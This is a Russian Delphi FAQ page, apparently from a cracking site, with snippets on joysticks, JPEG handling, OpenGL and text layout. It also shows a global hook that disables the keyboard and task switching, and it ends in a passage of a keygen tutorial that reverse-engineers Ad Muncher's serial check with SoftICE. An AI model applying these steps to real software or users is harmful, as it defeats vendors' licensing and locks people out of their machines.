Оригинальный DVD-ROM: eXeL@B DVD !
eXeL@B ВИДЕОКУРС !

ВИДЕОКУРС ВЗЛОМ
выпущен 10 декабря!


УЗНАТЬ БОЛЬШЕ >>
Домой | Статьи | RAR-cтатьи | FAQ | Форум | Скачать | Видеокурс
Новичку | Ссылки | Программирование | Интервью | Архив | Связь

БОЛЬШОЙ FAQ ПО DELPHI



Контроль джойстика в Delphi

Клаву топтать - это вам не с Джойстиком баловаться...

Действительно, Delphi это позволяет. Нижеприведенный код был взят из действующего приложения, вы можете переписать его под себя, главное - он показывает технологию работы с джойстиком.


 var
   myjoy: tjoyinfo;
 begin
   joygetpos(joystickid1,@myjoy);
   trackbar1.position := myjoy.wypos;
   trackbar2.position := myjoy.wxpos;
   radiobutton1.checked := (myjoy.wbuttons and joy_button1)>0;
   radiobutton2.checked := (myjoy.wbuttons and joy_button2)>0;
 end;
 

Не забудьте включить MMSYSTEM в список используемых (USES) модулей.




Преобразовать JPEG в BMP


 uses
   JPEG;
 
 procedure JPEGtoBMP(const FileName: TFileName);
 var
   jpeg: TJPEGImage;
   bmp:  TBitmap;
 begin
   jpeg := TJPEGImage.Create;
   try
     jpeg.CompressionQuality := 100; {Default Value}
     jpeg.LoadFromFile(FileName);
     bmp := TBitmap.Create;
     try
       bmp.Assign(jpeg);
       bmp.SaveTofile(ChangeFileExt(FileName, '.bmp'));
     finally
       bmp.Free
     end;
   finally
     jpeg.Free
   end;
 end;
 
 
 {
   CompressionQuality (default 100):
   Set a value between 1..100, depending on your need of quality and
   image file size. 1 = Smallest file size, 100 = Best quality.
 }
 




Сохранить в базе картинку формата JPEG

Автор: Nomadic

Я делал так (это кусок компонента):


 if Picture.Graphic is TJPegImage then
 begin
   bs:=TBlobStream.Create(TBlobField(Field),bmWrite);
   Picture.Graphic.SaveToStream(bs);
   bs.Free;
 end
 else if Picture.Graphic is TBitmap then
 begin
   Jpg:=TJPegImage.Create;
   Jpg.CompressionQuality:=...;
   Jpg.PixelFormat:=...;
   Jpg.Assign(Picture.Graphic);
   Jpg.JPEGNeeded;
   bs:=TBlobStream.Create(TBlobField(Field),bmWrite);
   Jpg.SaveToStream(bs);
   bs.Free;
   Jpg.Free;
 end
 else
   Field.Clear;
 




Как подгружать JPG-картинки, но чтобы они быстро отображались


 procedure TForm1.FormCreate(Sender: TObject);
 begin
   if Image1.Picture.Graphic is TJPEGImage then
   begin
     TJPEGImage(Image1.Picture.Graphic).DIBNeeded;
   end;
 end;
 

Данный код заставляет явно и сразу декодировать jpeg, вместо того, чтобы делать это при отображении картинки




Включение JPEG в EXE-файл

Пишет один фидошник другому:
- ... и вообще, чем отличается пpогpаммиpование под виндоус от пpосто пpогpаммиpования?
- Да не то, чтобы уж принципиально отличается... а представляешь, чем отличается просто секс от секса на гамаке в штормовую погоду?

Я начинающий Delphi программист и только что приступил к изучению этой замечательной среды разработчика; сейчас передо мной стоит задача распространения моей самой первой программы. Начиная с третьей версии, Delphi содержит модуль jpeg, позволяющий работать с этим форматом изображений, и у меня встала задача включить jpeg-графику в мой исполнимый файл для последующего использования в программе, но как это осуществить я пока не знаю.

Нет проблем! Выполните пять простых шагов, описанных ниже, и вы поймете все эту сложную, на первый взгляд, технологию.

Шаг первый:

Создайте файл сценария ресурса (*.RC) в обычном текстовом редакторе типа Notepad и добавьте следующую строку:

1  RCDATA  "MyPic.jpg"

Первый элемент является просто индексом ресурса. Второй элемент указывает на определенный пользователем ресурс. Третий, он же последний элемент, является именем jpeg-файла.

Шаг второй:

Для компиляции ресурса в .RES-файл используйте Borland Resource Compiler, BRCC32.EXE. В командной строке MS-DOS введите:

BRCC32 MyPic.RC

Это создаст файл ресурса с именем MyPic.RES.

Шаг третий:

Добавьте директиву компилятора к исходному коду вашей программы. Она должна располагаться непосредственно за директивой формы, как показано ниже:


 {$R *.DFM}
 {$R MyPic.RES}
 

Шаг четвертый:

Добавьте следующий код к вашему проекту (для этого я создал процедуру):


 procedure LoadJPEGfromEXE;
 var
   MyJPG: TJPEGImage; // Объект - JPEG
   ResStream: TResourceStream; // Объект - поток ресурсов
 begin
   try
     MyJPG := TJPEGImage.Create;
     ResStream := TResourceStream.CreateFromID(HInstance, 1, RT_RCDATA);
     MyJPG.LoadFromStream(ResStream); // Что!? Да, это просто!
     Canvas.Draw(12, 12, MyJPG);
     // сделайте это, чтобы увидеть что это действительно работает!
   finally
     MyJPG.Free;
     ResStream.Free;
   end;
 end; // procedure
 

Обратили внимание на второй параметр процедуры CreateFromID объекта TResourceStream? Это просто индекс ресурса. Вы можете включить более одного jpeg-изображения в исполняемый модуль приложения, просто добавляя в .RC-файл строчку с другим индексом для каждого включаемого изображения.

Шаг пятый:

Вызовите процедуру, запустите программу и вуаля! Дело сделано.




Включение JPEG в EXE-файл 2

Разговор программиста с женой. Программер:
- Ты слыхала, что через 10-15 лет станет возможным иметь секс с компьютером?
- А тебе-то что? Для тебя ничего не изменится...

1) Создайте текстовый файл с расширением ".rc". Имя этого файла должно отличаться от имени файла-пректа или любого модуля проекта. Файл должен содержать строку вроде:

 MYJPEG JPEG C:\DownLoad\MY.JPG
 

где: "MYJPEG" имя ресурса "JPEG" пользовательский тип ресурса "C:\DownLoad\MY.JPG" путь к JPEG файлу.

Пусть например rc-файл называется "foo.rc"

Запустите BRCC32.exe (Borland Resource CommandLine Compiler) - программа находится в каталоге Bin Delphi/C++ Builder'а - передав ей в качестве параметра полный путь к rc- файлу.

В нашем примере:

 C:\DelphiPath\BIN\BRCC32.EXE C:\ProjectPath\FOO.RC
 

Вы получите откомпилированный ресурс - файл с расширением ".res". (в нашем случае foo.res).

Далее добавте ресурс к своему приложению.


 {Грузим ресурс}
 {$R FOO.RES}
 
 uses Jpeg;
 
 procedure LoadJPEGFromRes(TheJPEG : string; ThePicture : TPicture);
 var
  ResHandle : THandle;
  MemHandle : THandle;
  MemStream : TMemoryStream;
  ResPtr   : PByte;
  ResSize  : Longint;
  JPEGImage : TJPEGImage;
 begin
  ResHandle := FindResource(hInstance, PChar(TheJPEG), 'JPEG');
  MemHandle := LoadResource(hInstance, ResHandle);
  ResPtr   := LockResource(MemHandle);
  MemStream := TMemoryStream.Create;
  JPEGImage := TJPEGImage.Create;
  ResSize := SizeOfResource(hInstance, ResHandle);
  MemStream.SetSize(ResSize);
  MemStream.Write(ResPtr^, ResSize);
  FreeResource(MemHandle);
  MemStream.Seek(0, 0);
  JPEGImage.LoadFromStream(MemStream);
  ThePicture.Assign(JPEGImage);
  JPEGImage.Free;
  MemStream.Free;
 end;
 
 procedure TForm1.Button1Click(Sender: TObject);
 begin
  LoadJPEGFromRes('MYJPEG', Image1.Picture);
 end;
 




Прыгающая точка

Райский сад. Всюду деревья с сочными плодами. Знаменитости прогуливаются. Ангелы всюду порхают. Музыка нежная. В общем, рай. Поднимается лифт, оттуда выползает окровавленный DOOM'ер с BFG в руках, оглядывается вокруг и орет: "ХA-A-A-A-A!!!! BONUS LEVEL!!!!!!!!"

Прежде всего, определим сначала, какие навыки нам нужны, многие из вас изучали или изучаете язык программирования Pascal, именно с его помощью мы попробуем написать несколько программ. Сейчас почти все игры разрабатываются для Windows, так что нам придётся работать со средой Delphi. Программы в среде Delphi (Delphi не язык программирования) пишутся на языке Object Pascal, специальном диалекте Паскаля. От языка Pascal этот диалект отличается тем, что он имеет большое количество дополнительных возможностей. Также вам следует уметь работать хотя бы с одним графическим редактором, хотя бы с Paint. В следующих статьях мы рассмотрим ряд других возможностей, например, как создать движущийся объект с помощью программы AutoCAD или как создать множество визуальных эффектов: тень, отражение. В данной статье мы рассмотрим несколько самых аспектов: как с помощью точек нарисовать простой движущийся объект, как управлять объектами с помощью клавиатуры.

Сейчас графика для Windows программируется одним из двух средств: DirectX или OpenGL. Работать с DirectX пришлось бы с помощью языка C++, который является слишком громоздким для начинающего программиста, так что лучше использовать второе.

Если вы еще не работали с Delphi, рекомендую прочитать любую книгу на эту тему.

Сейчас нам предстоит сделать самый первый шаг, сделав который, вы сможете с уверенностью двигаться дальше. Для начала убедитесь, что вы установили Delphi пятую или четвертую версию этого пакета. Если у вас не установлен данный пакет, сделайте это как можно быстрее, так как без Delphi вы не сможете написать ни одной программы из книги.

Для начала мы рассмотрим очень простой пример графической программы. Она представляет собой квадрат, появляющийся в различных точках экрана. Причем, координаты будут определяться случайно.

Теперь перейдем непосредственно к программе.

  • Запустите среду разработки Delphi
  • Нанесите элемент управления Timer на форму
  • Переименуйте имя формы как frmGL
  • Вставьте программный код в событие таймера
  • Вы также можете получить этот проект из Интерната, посетив узел http://softmaker.narod.ru

 procedure TfrmGL.Timer1Timer(Sender: TObject);
 
   procedure SetDCPixelFormat (hc : HDC);
   var
     pFormat : TPixelFormatDescriptor;
     Npixel : Integer;
   begin
     FillChar (pFormat, SizeOf (pFormat), 0);
     pFormat.dwFlags := PFD_DRAW_TO_WINDOW or PFD_SUPPORT_OPENGL or PFD_DOUBLEBUFFER;
     NPixel := ChoosePixelFormat (hc, @pFormat);
     SetPixelFormat (hc, NPixel, @pFormat);
   end;
 
 var
   hc: HGLRC;
   x, y: real;
 begin
   SetDCPixelFormat(Canvas.Handle);
   hc := wglCreateContext(Canvas.Handle);
   wglMakeCurrent(Canvas.Handle, hc);
   glViewPort (0, 0, ClientWidth, ClientHeight);
   glClearColor (0.1, 0.4, 0.65, 1.0);
   glClear (GL_COLOR_BUFFER_BIT);
   glPointSize (5);
   glColor3f (1.0, 0.4, 0.5);
   y:=random;
   y:=round(y*100);
   y:=y/100;
   x:=random;
   x:=round(x*100);
   x:=x/100;
   glVertex2f (x, y);
   glEnd;
   SwapBuffers(Canvas.Handle);
   wglMakeCurrent(0, 0);
 end;
 

Строки 16-18.
Делаем экран активным и устанавливаем формат пикселя, соответственно возможностям компьютера.
Строка 19.
На этом операторе нужно остановиться и разобраться с ним. Если вам доводилось программировать на Visual Basic или Turbo Pascal или на Delphi, то вы сталкивались с системами координат, принятыми в данных системах. Во всех этих средах оси координат были направлены так:
  • При использовании библиотеки OpenGL применяется прямоугольная, декартова система координат. В нашем случае она выглядит так:

    Первый и второй аргумент команды glViewPort означает, что середина системы координат будет располагаться по середине экрана, остальные два параметра, будут указывать какую площадь экрана будет выделена под область рисования. В нашем случае мы заняли весь экран.

Строки 20-21.
Этими командами мы задаём цвет фона тремя параметрами, первый означает: сколько в оттенке должно присутствовать красного, второй синего, а третий зелёного цветов. После того как цвет задан, мы окрашиваем им экран с помощью команды glClear.
Строка 22.
С помощью этой команды мы задаём размер пикселя. Значение аргумента команды glPointSize можно изменять на дробные, например, на 0.5, это очень пригодится, если требуется нарисовать маленький объект или требуется высокая точность передачи изображения.
Строка 23.
После того как формат пикселя задан, можно задать его цвет. Цвет мы задаём тремя параметрами, а что они означают вы узнали из вышеупомянутого.
Строки 24-29.
С помощью команды Random задаём случайные координаты.
Строка 30.
Все предыдущие процедуры были лишь подготовкой к рисованию. Рисование начинается с открытия командной скобки – glBegin. В скобках после команды glBegin мы указываем, что мы хотим изобразить, так как нам нужна точка, то аргументов команды является константа GL_POINTS. Далее с помощью команды glVertex2f мы рисуем точку с указанными координатами. С помощью команды glEnd мы закрываем командную скобку – рисование окончено.
Строки 26-27.
При Рисовании с использованием библиотеки OpenGL вся графика накапливается в буфере, а потом при помощи оператора SwapBuffers всё содержимое буфера выводится на экран.
Полноэкранный режим

Все, или почти все современные игры полностью используют площадь экрана, так что верхняя панель экрана и нижнее меню Windows становятся невидимыми. Такого эффекта легко добиться:

  • Щёлкните левой кнопкой мыши по главной форме (При запуске ей присваивается имя Form1).
  • Выберите из меню Object Inspector свойство WindowState. Справа от этого свойства будет находиться его значения, щёлкнув по нему мышкой, выберите из списка значение wsMaximized. Это свойство задаёт возможность окну максимально разворачиваться, но этого пока не достаточно, для того чтобы форма полностью закрывала экран.
  • Чтобы форма действительно была полноэкранная нужно изменить ещё одно свойство. Из Object Inspector выберите свойство BorderStyle, по умолчанию значение этого свойства – bsSizeable. Измените значение этого свойства на bsNone.

Начнём с того, что подключим графическую библиотеку к списку используемых модулей.

Щелкните два раза левой кнопкой мыши по главной форме. Перед вами появятся заготовки программного кода.

Перейдите в самое начало окна программного кода и найдите список подключенных модулей.


 uses
   Windows, Messages, SysUtils, Classes, Graphics,
   Controls, Forms, Dialogs, ExtCtrls;
 

Измените этот список так, как показано ниже:


 uses
   Windows, Messages, SysUtils, Classes, Graphics,
   Controls, Forms, Dialogs, OpenGL, ExtCtrls;
 

Для начала проанализируем сам принцип работы программы. Вначале мы присваиваем переменным x и y случайные координаты и заносим их в буфер памяти, после чего выводим их на экран. После этого закрашиваем точку в цвет фона, и цикл повторяется до тех пор, пока мы не остановим программу. До начала работы сервер OpenGL должен определить многие характеристики аппаратурного обеспечения, также важно узнать размер пикселя, его цвет.

Именно переменная nPixelFormat содержит в себе такие характеристики.

Можно изменить интервал времени на меньший или больший, тогда точка будет появляться чаще или реже. Вам, наверное, интересно узнать, почему точка появляется только в одной четверти экранной формы. Все очень просто

Так как значения x и y могут быть только положительными, то и точка может появляться только в первой четверти системы координат. Такую систему координат мы задали оператором glViewPort (0,0,Clientwidth,Clientheight). Оператором glPointSize(20) мы задаем размер точки, а оператором glColor3f задаем ее цвет. Самый важный оператор программы (строка 57) выводит двумерную точку на экран со случайными координатами. Оператор glBegin открывает командную скобку, а оператор glEnd закрывает ее. Обратите внимание на аргумент оператора glBegin(GL_POINTS). Этот аргумент определяет, что на экране должна появится именно точка, а не какой-нибудь другой объект (линии, многоугольники также задаются с помощью оператора glVertex2f).

С помощью функции glVertex3f можно задавать точку в пространстве. Чтобы содержимое буфера выводилось на экран, мы используем функцию SwapBuffers. Не пугайтесь, что программный код получился столь громоздким. Большую его часть можно использовать как шаблон, изменяя лишь содержимое между двумя командными скобками glBegin и glEnd. Или можете создать процедуру, содержащую строки от 1 до 25, параметры которой были бы цвет, размер точек и область вывода.

Теперь можете поэкспериментировать с программой, изменяя цвет точки, ее размер, скорость появления и т. д.

Упражнения:

  • Измените программу так, чтобы точка появлялась в пространстве. Для этого используйте функцию glVertex3f.
  • Сделайте так, чтобы точка появлялась во всех четвертях системы координат.

Вопросы:

  • Какая система координат используется библиотекой OpenGL?
    1. Полярная
    2. Декартова
    3. Другая
  • Какой оператор задает цвет точки?
    1. glVertex2f
    2. glVertex3f
    3. glColor3f
  • С помощь оператора glVertex2f и glVertex3f рисуются только точки?
    1. Да
    2. Нет

Ответы:

  • b
  • c
  • b

Итоги:

Освоив первую главу, вы смогли написать простейшую графическую программу с использованием OpenGL, теперь можно переходить к изучению более сложного материала. Но, если вы не уверены, что прочитанное вам понятно рекомендую прочитать еще раз, так как без этих основ вы не сможете разобраться с более сложными темами.




Выравнивание текста по ширине как в Worde


Текст выглядит лучше, если он выровнен по двух краям. Для этого пробелы в каждой строке нужно удлинять или укорачивать так, чтобы все строки имели одну длину.

Здесь создана процедура GetLine, которая возвращает одну строку, начиная с заданного символа. Программа находит разницу между шириной текста и реальной длинной строки и при выводе компенсирует эту разницу удлинением пробелов.

Эта программа выводит на экран текст из файла C:\text.txt, выравнивая его по двум краям.


 type
   ...
   TLine = record
     s: string;
     wrap: boolean;
     length: integer;
 end;
 
 var
   Form1: TForm1;
 
 implementation
 
 {$R *.DFM}
 
 const
   FileName = 'C:\text.txt';
 
 var
   s: string;
   bm: TBitMap;
   LineH: integer;
   MaxTextWidth: integer;
 
 procedure TForm1.FormCreate(Sender: TObject);
 var
   F: TFileStream;
   buf: array [0..127] of char;
   l: integer;
 begin
   ScrollBar1.Kind := sbVertical;
   bm := TBitMap.Create;
   with bm.Canvas.Font do
   begin
     name := 'Serif';
     Size := 12;
   end;
   LineH := bm.Canvas.TextHeight('123');
 
   if not FileExists(FileName) then
   begin
     ShowMessage('Can not find file ' + FileName);
     Exit;
   end;
   F := TFileStream.Create(FileName, fmOpenRead);
   repeat
     l := F.read(buf, 128);
     if l = 128 then
       s := s + buf
     else
       s := s + copy(buf, 1, l);
   until
     l < 128;
   F.Destroy;
 end;
 
 procedure TForm1.FormResize(Sender: TObject);
 begin
   PaintBox1.Left := 0;
   PaintBox1.Top := 0;
   PaintBox1.Height := Form1.ClientHeight;
   PaintBox1.Width := Form1.ClientWidth - ScrollBar1.Width;
   ScrollBar1.Left := PaintBox1.Width;
   ScrollBar1.Top := 0;
   ScrollBar1.Height := PaintBox1.Height;
   bm.Width := PaintBox1.Width;
   bm.Height := PaintBox1.Height;
   ScrollBar1.Max := 1000;
   MaxTextWidth := PaintBox1.Width - 20;
 end;
 
 function RealTextWidth(s: string): integer;
 var
   i: integer;
 begin
   result := bm.Canvas.TextWidth(s);
   for i := 1 to Length(s) do
     if s[i] = #9 then
       inc(result, 40 - bm.Canvas.TextWidth(#9));
 end;
 
 function GetLine(index: integer): TLine;
 var
   i: integer;
   s1: string;
   first: integer;
 begin
   if (s[index] = #13) and (s[index + 1] = #10) then
   begin
     result.s := '';
     result.length := 2;
     result.wrap := true;
     Exit;
   end;
   first := index;
   while (first <= Length(s)) and (s[first] in [#32]) do
     inc(first);
   i := first;
   repeat
     while (i <= Length(s)) and (not (s[i] in [#9, #32])) and (s[i] <> #13) do
       inc(i);
     s1 := copy(s, first, i - index);
     inc(i);
   until
     (i >= Length(s)) or (s[i-1] = #13) or (RealTextWidth(s1) > MaxTextWidth);
   if RealTextWidth(s1) > MaxTextWidth then
   begin
     result.wrap := false;
     if i < Length(s) then
     begin
       dec(i, 2);
       while (i > 0) and (not (s[i] in [#9, #32])) do
         dec(i);
       result.Length := i - index;
       while (i > 0) and (s[i] in [#9, #32]) do
         dec(i);
     end;
     result.s := copy(s, first, i - index + 1);
     if result.s[length(result.s)] = #32 then
       delete(result.s, length(result.s) , 1);
   end
   else
   begin
     result.length := i - index + 1;
     s1 := copy(s, first, i - index + 1);
     if length(s1) > 0 then
     begin
       if s1[Length(s1)] = #9 then
         delete(s1, Length(s1), 1);
       if s1[length(s1) - 1] + s1[length(s1)] = #13#10 then
         delete(s1, length(s1) - 1, 2);
     end;
     result.s := s1;
     result.wrap := true;
   end;
 end;
 
 
 procedure draw;
 var
   i, j: integer;
   line: TLine;
   OneWord: string;
   LineN: integer;
   SpaceCount: integer;
   TextLeft: integer;
   shift, allshift: integer;
   d: integer;
   LineCount: integer;
 begin
   with bm.Canvas do
   begin
     FillRect(ClipRect);
     i := 1;
     LineCount := 0;
     for j := 1 to Form1.ScrollBar1.Position do
     begin
       line := GetLine(i);
       inc(i, line.length);
       inc(LineCount);
     end;
     LineN := 0;
     repeat
       line := GetLine(i);
       SpaceCount := 0;
       TextLeft := 0;
       for j := 1 to Length(line.s) do
         if line.s[j] = #32 then
           inc(SpaceCount);
       if line.wrap = false then
         allshift := MaxTextWidth - RealTextWidth(line.s)
       else
         allshift := 0;
       if allshift > 40 * SpaceCount then
         allshift := 0;
       shift := 0;
       for j := 1 to Length(line.s) do
       begin
         if (not (line.s[j] in [#9, #32])) and (j < Length(line.s)) then
         begin
           OneWord := OneWord + line.s[j];
         end
         else
         begin
           OneWord := OneWord + line.s[j];
           if OneWord = #9 then
           begin
             inc(TextLeft, 40);
           end
           else
           begin
             if OneWord = #13#10 then
             begin
               inc(LineN);
             end
             else
             begin
               TextOut(10 + TextLeft, LineN * LineH, OneWord);
               if SpaceCount = 0 then
                 d := 0
               else
                 d := (allshift - shift) div (SpaceCount);
               inc(shift, d);
               inc(TextLeft, TextWidth(OneWord) + d);
               dec(SpaceCount);
             end;
           end;
           OneWord := '';
         end;
       end;
       inc(i, line.length);
       inc(LineN);
     until
       (LineN * LineH > Form1.PaintBox1.Height) or (i >= Length(s));
 
     repeat
       line := GetLine(i);
       inc(i, line.length);
       inc(LineCount);
     until
       i >= Length(s);
 
     inc(LineCount, LineN);
     Form1.ScrollBar1.Max := LineCount -
     Form1.PaintBox1.Height div LineH;
   end;
   Form1.PaintBox1.Canvas.Draw(0, 0, bm);
 end;
 
 procedure TForm1.PaintBox1Paint(Sender: TObject);
 begin
   draw;
 end;
 
 procedure TForm1.ScrollBar1Change(Sender: TObject);
 begin
   draw;
 end;
 




Как держать приложение в минимизированном виде

Если вам понадобилось, чтобы ваше присутствие ощущалось, но окно вашего приложения не показывалось пользователю ;-] , тогда делайте так:

В частных объявлениях [раздел private] объявляем процедуру


 private
   { Private declarations }
   procedure WMQueryOpen(var Msg: TWMQueryOpen); message WM_QUERYOPEN;
 

А после слова implementation описываем её так:


 procedure TForm1.WMQueryOpen(var Msg: TWMQueryOpen);
 begin
   Msg.Result := 0;
 end;
 

Ещё нужно свойство формы WindowState установить в wsMinimized, дабы окно изначально появилось на панели задач.




Хранение стилей шрифта

Автор: Robert Wittig

Как мне сохранить свойство шрифта Style, ведь он же набор?

Вы можете получать и устанавливать FontStyle через его преобразование к типу byte.

Для примера,


 Var
   Style: TFontStyles;
 begin
   { Сохраняем стиль шрифта в байте }
   Style := Canvas.Font.Style; {необходимо, поскольку Font.Style - свойство}
   ByteValue := Byte ( Style );
   { Преобразуем значение byte в TFontStyles }
   Canvas.Font.Style := TFontStyles ( ByteValue );
 end;
 

Для восстановления шрифта, вам необходимо сохранить параметры Color, Name, Pitch, Style и Size в базе данных и назначить их соответствующим свойствам при загрузке.




Включение и выключение клавиатуры

А кофе на клавиатуру тоже вирус пролил?


 // используемые переменные
 var
   Dummy: integer = 0;
   OldKbHook: HHook = 0;
 
 implementation
 
 function KbHook(code: Integer; wparam: Word; lparam: LongInt): LongInt; stdcall;
 begin
   if code < 0 then
     Result := CallNextHookEx(oldKbHook, code, wparam, lparam)
   else
     Result := 1;
 end;
 
 // включение клавы
 
 procedure TForm1.KeyBoardOn(Sender: TObject);
 begin
   if OldKbHook <> 0 then
   begin
     UnHookWindowshookEx(OldKbHook);
     OldKbHook := 0;
   end;
   SystemParametersInfo(SPI_SETFASTTASKSWITCH, 0, 0, 0);
   SystemParametersInfo(SPI_SCREENSAVERRUNNING, 0, 0, 0);
 end;
 
 // выключение клавы
 
 procedure TForm1.KeyBoardOff(Sender: TObject);
 begin
   SystemParametersInfo(SPI_SETFASTTASKSWITCH, 1, @Dummy, 0);
   SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1, @Dummy, 0);
   OldKbHook := SetWindowsHookEx(WH_KEYBOARD, @KbHook, HInstance, 0);
 end;
 

Некоторые замечания по поводу этих процедур:

  • Если программу упаковать UPX-ом - клава не будет отключаться (причин не знаю).
  • В ДОС-окне клава будет работать (FAR, VC и т.п.) :(
  • Состояния клавиш NumLock,CapsLock,ScrollLock не отслеживаются и могут быть изменены.
  • Возможно EnableHardwareKeyboard более эффективен и прост, но я тоже, к сожалению, не знаю, как им пользоваться.
  • Если вместо WH_KEYBOARD поставить WH_MOUSE, то можно выключать таким образом мышь :-)



Пример KeyDown компонента DBNavigator

Автор: Dmitry

Шел доомер тихой темной ночью по темной улице вдоль темного, высоко забора. Вдруг услышал с другой улицы крики и выстрелы.... IDCLIP, - перекрестился он и на всякий случай перешел по другую сторону забора... Вдруг очередь просвистела над его головой. IDDQD, - сказал он и поспешил покинуть это место...

Есть некоторое решение для создания "горячих клавиш" в DBNavigator. Установите свойство TForm.KeyPreview в TRUE и напишите обработчик события onkeydown. Примерно так:


 procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word;
   Shift: TShiftState);
 const
   (* Классный участок кода от Graphical Gnome *)
   KeyBtn: array[TNavigateBtn] of record
     Key: Word;
     Btn: TNavigateBtn;
   end = (
     (Key: VK_F1; Btn: nbFirst),
     (Key: VK_F2; Btn: nbPrior),
     (Key: VK_F3; Btn: nbNext),
     (Key: VK_F4; Btn: nbLast),
     (Key: VK_F5; Btn: nbInsert),
     (Key: VK_F6; Btn: nbDelete),
     (Key: VK_F7; Btn: nbEdit),
     (Key: VK_F8; Btn: nbPost),
     (Key: VK_F9; Btn: nbCancel),
     (Key: VK_F10; Btn: nbRefresh)
     );
 var
   i: TNavigateBtn;
 begin
   for i := nbFirst to nbRefresh do
     if KeyBtn[i].Key = Key then
     begin
       DBNavigator1.BtnClick(KeyBtn[i].Btn);
       Exit;
     end;
 end;
 




Замена KeyFind

Автор: David Martin

...у меня была та же проблема, и я все время использовал FindKey, но теперь я переключился на обработку исключений.


 try
   Table1.Insert;
 except
   on EDBEngineError do
     { все что здесь - дубликат };
 end;
 

По крайней мере так работает у меня и работает быстрее, чем проверка на дубликаты с помощью FindKey.




Написание кейгена к Ad Muncher

Автор: Fess

Три способа, которыми советские программисты достают программное обеспечение: воровство, грабеж, и обмен награбленным.

Target: Ad Muncher v4.3d

Tools:

  • Some brains
  • Soft-Ice v3.4
  • Win32Dasm 8.93
  • UPX (или другой unpack'ер UPX)
  • Delphi

Вступление

Что делает прога? Удаляет баннеры с Web-страниц закачиваеммых из Инета.

Что побудило меня сломать эту прогу? Да вообщем-то сущий пустяк, было нечего делать. Включил комп. Взял один из последних дисков журнала Hard&Soft за 4.2002. Установил первую попавшуюся на глаза прогу и тут оно началось...

Начало

Первое с чего начинается любой взлом это определить какую защиту имеет программа. В основном это имя-код, код, ключ-файл (отсортированы в порядке встречаемости в природе). Запускаем прогу, заходим в About, нажимаем нужную кнопочку и видим Name/Code, что и следовало ожидать. Все понятно.

Активные действия

Пишем любые имя и код. Нажимаем зарегистрировать. А нам фигу на чем-то очень похожим на MessageBox. Ладно лезем в Soft-Ice ставим бряк на GetWindowsTextA должна же как-то параметры брать? Опять жмем на кнопочку... Что не можете нажать? Функция говорите постоянно вызывается ну пойдем от обратного. Ставим бряк на MessageBoxA. Опять жмем. Вываливаемся в айсе. И видим это место.


 0057C5E3 030D7FD04000            add ecx, dword ptr [0040D07F]
 0057C5E9 6A00                    push 00000000
 0057C5EB 51                      push ecx
 0057C5EC 50                      push eax
 0057C5ED FF7508                  push [ebp+08]
 0057C5F0 6A5C                    push 0000005C
 0057C5F2 E819AAFFFF              call 00407010
 0057C5F7 EB2E                    jmp 0040C627
 0057C5F9 663D6B00                cmp ax, 006B
 0057C5FD 7513                    jne 0040C612
 

А почему сегмент кода в начинается с 5, а не 4. Наверное мы в какой-то библиотеке программы. Посмотрим... Да точно есть у нее библиотека. AdMunch.dll. Попробуем подсунуть ее Win32Dasm'у - не хочет. Значит запакована чем-то. Попробуем определить чем запакована на глазок. Запускаем любую смотрелку, смотрим, а там в начале написано UPX 1.2. Ну все понятно. Распаковываем. Я использовал сам паковщик UPX с ключем -d. Вот так-то лучше. Он в отличие от AsPack'a не портит заголовок файла. Так что можно его смело кидать в Win32Dasm. Дизассемблировался хорошо. Смотрим ссылки на строки. А там ничего связанного с регистрацией. Жаль. Можно посмотреть и в AdMuncher.exe, но и там тоже нет. Значит строки зашифрованы. (К сведению: по-моему глубокому мнению прога написана на асме отсюда и такой маленький размер).

Погоревали и ладно. Мы же знаем откуда вызывался MessageBox c 0057C5F2. Посмотрим - НЕТ! Аааа догадываемся мы, просто файл дизасмен со смещения 400000, а в память грузится с 570000. Тогда все ясно идем к точке 40C5F2. Да точно тотже call. Посмотрим кто его пользует. Мотаем вверх и видим


 * Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
 |:0040C4D4(U), :0040C4E7(C), :0040C529(C)
 

Значит возможен вызов из этих точек. Снова лезем в программу, ставим бряки на все три точки, запускаем регистрацию и вываливаемся в 57C4E7. Поосмотримся вокруг нее...


 :0040C4D9 BF7B484600     mov edi, 0046487B
 :0040C4DE B02D           mov al, 2D          <- Символ "-"
 :0040C4E0 B914000000     mov ecx, 00000014   <- 14 символов
 :0040C4E5 F2             repnz
 :0040C4E6 AE             scasb
 :0040C4E7 0F85E6000000   jne 0040C5D3        <- если не найден MessageBox
 :0040C4ED C647FF00       mov [edi-01], 00    <- Найден, заменяем его 0
 

Из фрагмента кода становится понятно, что где-то в 14 символах ищется символ "-" (минус). Яснее ясного, что в коде. Ведь имя же может быть любым сказал я себе и написал в пароле один минус. Мой пароль был таков 11-22334455. Да, еще не забудьте поставить бряк на 57C4D9 (bpx 57C4D9).

Генерация ключа

Вываливаемся вна этом фрагменте и начинаем трассировать по шагам F8. Доходим до процедуры


 :0057C4FC E8B1070000      call 0040CCB2
 

И заходим в нее. И видим следующий текст. Я написал комментарии и надеюсь из них все станет ясно.


 :0057CCB2 33DB      xor ebx, ebx           <- Обнуление регистров
 :0057CCB4 33C0      xor eax, eax           <- перед
 :0057CCB6 33D2      xor edx, edx           <- использованием
 :0057CCB8 8A1E      mov bl, byte ptr [esi] <-Первый байт кода (ESI указывает на код)
 :0057CCBA 46        inc esi                <-Увеличиваем указатель
 :0057CCBB F7E7      mul edi                <-Умножаем eax на edi (edi=10h)
 :0057CCBD 83EB30    sub ebx, 00000030      <-Получаем реальное цисло из кода
 :0057CCC0 83FB09    cmp ebx, 00000009      <-Если число больше 9 (в пароле
 :0057CCC3 7603      jbe 0057CCC8           <- это цифры). Переходим
 :0057CCC5 83EB07    sub ebx, 00000007      <-Если буквы - вычитаем еще 7
 :0057CCC8 03C3      add eax, ebx           <-Добавляем к eax ebx
 :0057CCCA 8A1E      mov bl, byte ptr [esi] <-Второй байт кода
 :0057CCCC 83D200    adc edx, 00000000      <-Бессмыслица
 :0057CCCF 80FB00    cmp bl, 00             <-Если 2-й байт 0, то
 :0057CCD2 7426      je 0057CCFA            <-выход из процедуры
 :0057CCD4 85D2      test edx, edx          <-Если edx<>0, то снова
 :0057CCD6 75E2      jne 0057CCBA           <-то снова
 :0057CCD8 8BC8      mov ecx, eax           <- ecx=eax
 :0057CCDA 8BC2      mov eax, edx           <-eax=edx=0
 :0057CCDC 46        inc esi                <-Увелич.указаеля на код
 :0057CCDD F7E7      mul edi                <-Умножаем eax на edi (edi=10h)
 :0057CCDF 91        xchg eax,ecx           <-Меняем местами ecx и eax
